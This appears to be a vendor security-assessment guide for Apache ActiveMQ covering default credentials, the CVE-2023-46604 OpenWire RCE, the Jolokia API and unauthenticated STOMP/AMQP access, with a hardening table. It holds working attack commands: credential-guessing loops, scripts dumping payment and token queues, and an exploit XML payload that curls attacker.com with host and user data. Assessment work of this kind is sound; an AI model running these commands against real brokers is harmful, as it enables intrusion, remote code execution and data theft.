Apache ActiveMQ is one of the most widely deployed open-source message brokers, used for enterprise integration, microservice communication, and event-driven architectures. Its attack surface includes: default admin/admin credentials on the web console at port 8161; CVE-2023-46604 โ a CVSS 10.0 unauthenticated RCE via the OpenWire protocol (port 61616) that enabled mass ransomware deployment in late 2023; the Jolokia JMX-over-HTTP API exposing broker management without authentication; and unauthenticated message access via STOMP and AMQP protocols. This guide covers systematic ActiveMQ security assessment.
ActiveMQ's web administration console runs on port 8161 with default credentials admin:admin. The console provides full broker management โ queue creation/deletion, message browsing, consumer enumeration, and connector configuration.
# ActiveMQ discovery and default credential test
ACTIVEMQ="http://activemq.internal:8161"
# Port scan for ActiveMQ services
nmap -sV -p 8161,61616,61613,5672,61614,1883 activemq.internal
# Test default admin credentials
curl -s -u admin:admin "${ACTIVEMQ}/admin/" | grep -i "activemq\|admin" | head -5
curl -s -u admin:admin "${ACTIVEMQ}/api/jolokia/version" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ActiveMQ version: {d.get(\"value\",{}).get(\"agent\")}')
print(f'ActiveMQ server: {d.get(\"value\",{}).get(\"server\",{}).get(\"product\")}')
print(f'ActiveMQ version: {d.get(\"value\",{}).get(\"server\",{}).get(\"version\")}')
"
# Enumerate queues and topics via web API
curl -s -u admin:admin "${ACTIVEMQ}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/Queues" | python3 -c "
import json,sys
d=json.load(sys.stdin)
queues=d.get('value',[])
print(f'Queues: {len(queues)}')
for q in queues:
print(f' {q}')
"
# Browse queue messages via REST API (admin credentials)
QUEUE_NAME="paymentQueue"
curl -s -u admin:admin \
"${ACTIVEMQ}/api/message/${QUEUE_NAME}?type=queue&body=true" | python3 -c "
import json,sys
msgs=json.load(sys.stdin)
for m in msgs[:5]:
print(f' MsgID={m.get(\"messageId\")} body={m.get(\"bodyText\",\"\")[:200]}')
"
# Try common credential combinations
for CREDS in "admin:admin" "admin:password" "admin:" "system:manager" "user:user"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" -u "${CREDS}" "${ACTIVEMQ}/admin/")
echo "${CREDS}: HTTP ${CODE}"
done
admin:admin credential is present in the vast majority of ActiveMQ deployments that have never been hardened. Combined with CVE-2023-46604, unpatched ActiveMQ instances represent one of the highest-severity network exposures in enterprise environments.
CVE-2023-46604 (CVSS 10.0) affects Apache ActiveMQ 5.x before 5.15.16, 5.16.x before 5.16.7, 5.17.x before 5.17.6, and 5.18.x before 5.18.3. The vulnerability in the OpenWire protocol deserializer allows unauthenticated remote code execution by sending a specially crafted ClassInfo message that causes the broker to load a remote ClassPathXmlApplicationContext.
# CVE-2023-46604 โ ActiveMQ OpenWire RCE
# Check version first
curl -s -u admin:admin "http://activemq.internal:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion" | python3 -c "
import json,sys
d=json.load(sys.stdin)
version=d.get('value','')
print(f'ActiveMQ version: {version}')
# Vulnerable: < 5.15.16, < 5.16.7, < 5.17.6, < 5.18.3
parts=str(version).split('.')
if len(parts)>=3:
major,minor,patch=int(parts[0]),int(parts[1]),int(parts[2]) if parts[2].isdigit() else 0
vulnerable = (minor==15 and patch<16) or (minor==16 and patch<7) or (minor==17 and patch<6) or (minor==18 and patch<3)
print(f'VULNERABLE to CVE-2023-46604: {vulnerable}')
"
# The exploit sends a crafted ExceptionResponse ClassInfo packet to port 61616
# Public PoC: github.com/X1r0z/ActiveMQ-RCE
# The payload triggers the broker to fetch a remote XML config and instantiate beans
# Set up malicious ClassPathXmlApplicationContext XML (hosted on attacker server)
cat > /tmp/poc.xml << 'EOF'
bash
-c
curl http://attacker.com/callback?host=$(hostname)&user=$(id | base64)
EOF
# Exploit command (using published PoC tooling)
# python3 exploit.py -i activemq.internal -p 61616 -u http://attacker.com/poc.xml
# Detection: check for exploit indicators in activemq.log
grep -i "ClassPathXmlApplicationContext\|ExceptionResponse\|unknown openwire command" \
/opt/activemq/data/activemq.log 2>/dev/null | tail -20
# Version check via banner grab (OpenWire protocol handshake)
python3 << 'EOF'
import socket
s = socket.socket()
s.settimeout(5)
try:
s.connect(("activemq.internal", 61616))
banner = s.recv(1024).decode('utf-8', errors='replace')
print(f"Banner: {banner[:300]}")
# ActiveMQ OpenWire sends version in the initial handshake
if "ActiveMQ" in banner:
import re
ver = re.search(r'ActiveMQ[\s/]+([\d.]+)', banner)
if ver: print(f"ActiveMQ version from banner: {ver.group(1)}")
except Exception as e:
print(f"Connection error: {e}")
finally:
s.close()
EOF
Jolokia provides HTTP-based access to JMX MBeans. In ActiveMQ, it is bundled and often accessible without separate authentication โ relying only on the web console credentials that default to admin/admin.
# Jolokia JMX API โ broker management without JMX client
JOLOKIA="http://activemq.internal:8161/api/jolokia"
AUTH="-u admin:admin"
# Get broker info
curl -s ${AUTH} "${JOLOKIA}/read/org.apache.activemq:type=Broker,brokerName=localhost" | python3 -c "
import json,sys
d=json.load(sys.stdin)
v=d.get('value',{})
print(f'Broker: {v.get(\"BrokerName\")}')
print(f'Version: {v.get(\"BrokerVersion\")}')
print(f'Uptime: {v.get(\"Uptime\")}')
print(f'Queues: {v.get(\"TotalDequeueCount\")}')
print(f'Connections: {v.get(\"CurrentConnectionsCount\")}')
"
# Enumerate all queue names and sizes
curl -s ${AUTH} "${JOLOKIA}/search/org.apache.activemq:type=Broker,*,destinationType=Queue,*" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for q in d.get('value',[]):
name=q.split('destinationName=')[1].split(',')[0] if 'destinationName=' in q else q
print(f'Queue: {name}')
"
# Read message from queue via Jolokia (browse without consuming)
QUEUE="paymentQueue"
curl -s ${AUTH} "${JOLOKIA}/exec/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=${QUEUE}/browseMessages()" | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs=d.get('value',[])
print(f'Messages in queue: {len(msgs)}')
for m in msgs[:3]:
print(f' Body: {str(m)[:300]}')
"
# Invoke GC and read connector config
curl -s ${AUTH} "${JOLOKIA}/exec/java.lang:type=Memory/gc"
curl -s ${AUTH} "${JOLOKIA}/read/org.apache.activemq:type=Broker,brokerName=localhost,connectorName=openwire/TransportConnectors" | python3 -m json.tool | grep -i "uri\|host\|port"
# Create new queue via Jolokia (demonstrates write access)
curl -s ${AUTH} -X POST "${JOLOKIA}/exec/org.apache.activemq:type=Broker,brokerName=localhost/addQueue(java.lang.String)" \
-H "Content-Type: application/json" \
-d '{"type":"EXEC","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addQueue(java.lang.String)","arguments":["test.security.queue"]}'
ActiveMQ queues carry business-critical data: payment transactions, order events, user registrations, and inter-service API calls including authentication tokens. Unauthenticated or low-privilege access to queues enables complete business process monitoring and credential harvesting.
# STOMP protocol โ subscribe to all queues without web console access
# STOMP runs on port 61613 (TCP) โ often accessible without credentials
python3 << 'EOF'
import socket, time
s = socket.socket()
s.connect(("activemq.internal", 61613))
# STOMP CONNECT (try without credentials first)
s.send(b"CONNECT\naccept-version:1.2\nheart-beat:0,0\n\n\x00")
resp = s.recv(4096).decode()
print(f"CONNECT response: {resp[:200]}")
# Subscribe to all queues with wildcard
s.send(b"SUBSCRIBE\nid:sub1\ndestination:/queue/>\nack:auto\n\n\x00")
# Read messages for 10 seconds
s.settimeout(2)
while True:
try:
msg = s.recv(4096).decode()
if msg:
print(f"STOMP MESSAGE: {msg[:400]}")
except: break
s.close()
EOF
# AMQP protocol โ access queues via AMQP (port 5672)
python3 << 'EOF'
try:
import amqp
conn = amqp.Connection(host="activemq.internal:5672",
userid="guest", password="guest")
conn.connect()
ch = conn.channel()
# Passive=True โ don't create, just check existence
for q_name in ["orders", "payments", "users", "notifications", "events"]:
try:
msg_count = ch.queue_declare(q_name, passive=True).message_count
print(f"Queue '{q_name}': {msg_count} messages")
if msg_count > 0:
msg = ch.basic_get(q_name, no_ack=True)
if msg: print(f" Sample: {msg.body[:200]}")
except: pass
conn.close()
except ImportError:
print("pip install amqp")
except Exception as e:
print(f"AMQP error: {e}")
EOF
# Extract queue messages via web REST API (with admin creds)
ACTIVEMQ="http://activemq.internal:8161"
for QUEUE in orders payments user-registrations api-tokens notifications; do
COUNT=$(curl -s -u admin:admin "${ACTIVEMQ}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=${QUEUE}/QueueSize" 2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('value',0))" 2>/dev/null)
if [ -n "$COUNT" ] && [ "$COUNT" -gt 0 ] 2>/dev/null; then
echo "Queue '${QUEUE}': ${COUNT} messages โ EXTRACTING"
curl -s -u admin:admin "${ACTIVEMQ}/api/message/${QUEUE}?type=queue" | head -100
fi
done
Ironimo can assess your Apache ActiveMQ deployments for CVE-2023-46604 exposure, default credentials, Jolokia API misconfigurations, and unauthenticated message queue access โ covering the full broker attack surface.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| Default admin:admin credentials | admin:admin in jetty-realm.properties | Change credentials immediately; use strong random password; consider external LDAP auth |
| CVE-2023-46604 unpatched | Affects versions < 5.18.3 | Upgrade to ActiveMQ 5.18.3+; if unable, firewall port 61616 to trusted clients only |
| Jolokia unauthenticated | Inherits web console auth (admin/admin) | Restrict Jolokia to localhost; add separate Jolokia authentication; disable if not needed |
| STOMP/AMQP no auth | guest:guest or no auth | Enable JAAS authentication on all connectors; disable unused protocol connectors |
| Port 61616 internet-accessible | Binds to all interfaces | Restrict OpenWire connector to 127.0.0.1 or internal subnet; use TLS for remote connections |
| Guest consumer access | Often left as default | Configure per-queue authorization in activemq.xml; use authorizationPlugin with role-based ACLs |